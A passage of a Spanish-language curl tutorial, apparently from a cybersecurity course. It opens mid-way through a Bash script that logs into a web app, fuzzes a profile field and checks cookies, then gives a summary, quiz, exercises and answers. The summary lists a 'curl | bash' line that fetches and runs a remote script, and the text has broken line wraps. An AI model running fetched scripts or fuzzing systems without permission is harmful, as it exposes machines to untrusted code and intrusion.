{email}&password=${password}&type=Admin" "http://${ip}/index.php"
2>/dev/null

echo " "

echo
"============================================"

echo "Login as User"

echo
"============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=$
{password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep
'location'

echo " "

echo
"============================================"

echo "Check user profile with cookie"

echo
"============================================"

curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td


align="center"'

echo " "

echo
"============================================"

echo "Change Name"

echo
"============================================"

curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php"

echo " "

curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td


align="center"'

echo " "

echo " DELETEING COOKIE "

rm cookies.txt

echo
"============================================"

echo "Relogin as User - did password change?"

echo
"============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=$
{password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep
'location'

echo " "

echo " DONE!"

echo " DELETEING COOKIE "

rm cookies.txt

El comando curl tiene más opciones que puedes explorar

curl –help

También te recomendamos consultar las páginas man:

man curl
Resumen del artículo sobre el comando curl en Linux

1. ¿Qué es curl y libcurl?


 curl: Herramienta para transferir datos a través de protocolos como
HTTP, FTP, IMAP, y más, diseñada para operar sin intervención del
usuario.

 libcurl: Biblioteca de transferencia de URL utilizada en segundo plano


por curl para soportar una amplia gama de protocolos y sistemas
operativos.

2. Instalación del comando curl

 En la mayoría de sistemas Linux, curl viene preinstalado. Si no, puede


instalarse con: sudo apt install curl

 Para verificar la instalación: curl --version

3. Sintaxis básica de curl

 Sintaxis general: curl [opciones] [URL]

 Ejemplo: curl https://example.com

4. Opciones principales de curl

 -O y -o: Descarga archivos, ya sea con su nombre original (-O) o uno


especificado (-o).

 -L: Sigue redirecciones HTTP.

 -I: Muestra solo los encabezados HTTP de una solicitud.

 -d: Envía datos en una solicitud POST.

 -H: Define encabezados HTTP personalizados.

 -b: Maneja cookies en solicitudes.

 -u: Realiza autenticación HTTP básica.

 –data-urlencode: Codifica datos en la URL para solicitudes HTTP


POST.

5. Ejemplos prácticos del comando curl

 Solicitudes GET: curl "https://example.com/api?query=value"

 Solicitudes POST: curl -d "param1=value1&param2=value2" -X POST


https://example.com/api

 Manejo de cookies: curl -b cookies.txt -c newcookies.txt


https://example.com
 Descarga de archivos: curl -O https://example.com/file.zip

 Interacción con API: curl -X GET -H "Authorization: Bearer <token>"


https://api.example.com/resource

6. Uso avanzado de curl para pruebas de seguridad

 Ejecución de scripts remotos: curl -s "http://example.com/script.sh"


| bash

 Fuzzing de servidores web:

 Fuzzing de límites de URI o parámetros POST con curl y Bash


para pruebas de seguridad.

 Verificación de autenticación de usuarios:

 Automatización de verificación de inicios de sesión con scripts


de curl.

7. Automatización y scripting con curl en Bash

 Scripts de Bash para realizar múltiples solicitudes curl y explorar datos


en un contexto de pruebas de seguridad.

 Ejemplos de automatización con loops y condiciones para manejar


datos de salida y respuestas de autenticación.

Conclusión

curl es una herramienta potente y versátil que permite una amplia gama de
operaciones de red desde la línea de comandos. Su soporte para múltiples
protocolos, junto con su capacidad de integración en scripts Bash, lo hace
invaluable en tareas como administración de sistemas, desarrollo web y
pruebas de seguridad.

Pon en práctica lo aprendido

Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.

10 Preguntas sobre el comando curl en Linux:

1. ¿Cuál es la función principal del comando curl en Linux?

2. ¿Qué diferencia hay entre los métodos de solicitud


HTTP GET y POST cuando se usa curl?

3. ¿Para qué sirve la opción -o en curl?


4. ¿Cómo se usa curl para enviar cookies a un servidor web?

5. ¿Qué hace la opción -L en curl?

6. ¿Cómo puedes usar curl para descargar múltiples archivos de URLs


similares en una sola línea?

7. ¿Para qué se utiliza -d o --data en curl?

8. ¿Cuál es la función de la opción -I en curl?

9. ¿Cómo puedes obtener solo los encabezados HTTP de una URL


usando curl?

10. ¿Qué permite la opción --cookie-jar en curl?

10 Ejercicios basados en el comando curl:

1. Usa curl para descargar el contenido de un sitio web y guárdalo en un


archivo.

2. Realiza una solicitud GET a una URL usando curl y observa el código
HTML de la respuesta.

3. Ejecuta una solicitud POST simulando el envío de un formulario en curl.

4. Descarga un archivo de una URL específica utilizando curl y cámbiale


el nombre en la descarga.

5. Usa curl para realizar una solicitud GET con una variable en la URL
(parámetro GET).

6. Envía cookies al servidor web usando curl.

7. Realiza una solicitud POST para iniciar sesión en un sitio


usando curl con --data.

8. Descarga un archivo de un servidor FTP usando curl.

9. Realiza una solicitud HTTP a una API pública usando curl y obtén una
respuesta en formato JSON.

10. Usa curl para reanudar la descarga de un archivo que quedó


interrumpida.

Respuestas detalladas a las preguntas:


1. Función de curl: curl se usa para transferir datos entre un cliente y
un servidor, compatible con numerosos protocolos, como HTTP, FTP y
SFTP.

2. Diferencia entre GET y POST: GET envía parámetros en la URL y es


visible en la barra de direcciones; POST envía datos en el cuerpo de la
solicitud y se usa en formularios y API.

3. Opción -o en curl: Especifica el archivo donde se guardará el


contenido descargado curl -o archivo.html https://example.com

4. Enviar cookies con curl: Usa -b para especificar cookies, como


en: curl -b "PHPSESSID=abcd1234" https://example.com

5. Opción -L en curl: Permite que curl siga redirecciones hasta el


destino final de la URL.

6. Descargar múltiples archivos en una sola línea: Usa {} para


especificar partes variables en la URL: curl -O
https://example.com/file{1..3}.txt

7. Función de -d o --data: Envían datos en una solicitud POST,


simulando el envío de un formulario: curl -d
"usuario=admin&clave=1234" https://example.com/login.php

8. Opción -I en curl: Solicita solo los encabezados HTTP de la URL: curl -


I https://example.com

9. Obtener solo encabezados HTTP: Usa -I para obtener detalles como


estado HTTP y tipo de contenido sin descargar el contenido completo.

10. Función de --cookie-jar: Guarda las cookies generadas en una


sesión en un archivo específico para reutilizarlas después.

Respuestas detalladas a los ejercicios:

1. Descargar el contenido de un sitio web: curl -o sitio.html


https://example.com Guarda el código HTML en sitio.html.

2. Realizar una solicitud GET: curl https://example.com Muestra el


contenido HTML de la URL en la terminal.

3. Simular el envío de un formulario: curl --data


"nombre=usuario&clave=password"
https://example.com/login.php Envía datos simulando un formulario de
inicio de sesión.

4. Descargar y renombrar un archivo: curl -o nuevo_nombre.txt


https://example.com/archivo.txt Descarga el archivo y lo guarda
como nuevo_nombre.txt.

5. Solicitud GET con variable en la URL: curl


"https://example.com/page.php?id=123" Realiza la solicitud
con id como parámetro GET.

6. Enviar cookies con curl: curl -b "nombre=alvaro;edad=30"


https://example.com Envía cookies como nombre y edad al servidor.

7. Solicitud POST de inicio de sesión: curl --data


"usuario=admin&clave=1234"
https://example.com/login.php Usa POST para enviar datos de inicio de
sesión.

8. Descargar un archivo FTP: curl


ftp://usuario:[email protected]/archivo.zip -O Descarga el
archivo archivo.zip del servidor FTP.

9. Solicitud HTTP a una API en JSON: curl -H "Content-Type:


application/json" https://api.example.com/data Realiza la solicitud y
obtiene respuesta en JSON.

10. Reanudar una descarga interrumpida: curl -C - -O


https://example.com/archivo.zip Continúa
descargando archivo.zip desde el punto donde quedó interrumpido.

No te detengas, sigue avanzando

Aquí tienes un propósito que debes considerar seriamente: si has querido


mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es
definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus
habilidades aprovechando nuestros cursos a un precio increíble y avanza en
tu carrera! El mundo necesita más hackers…

También podría gustarte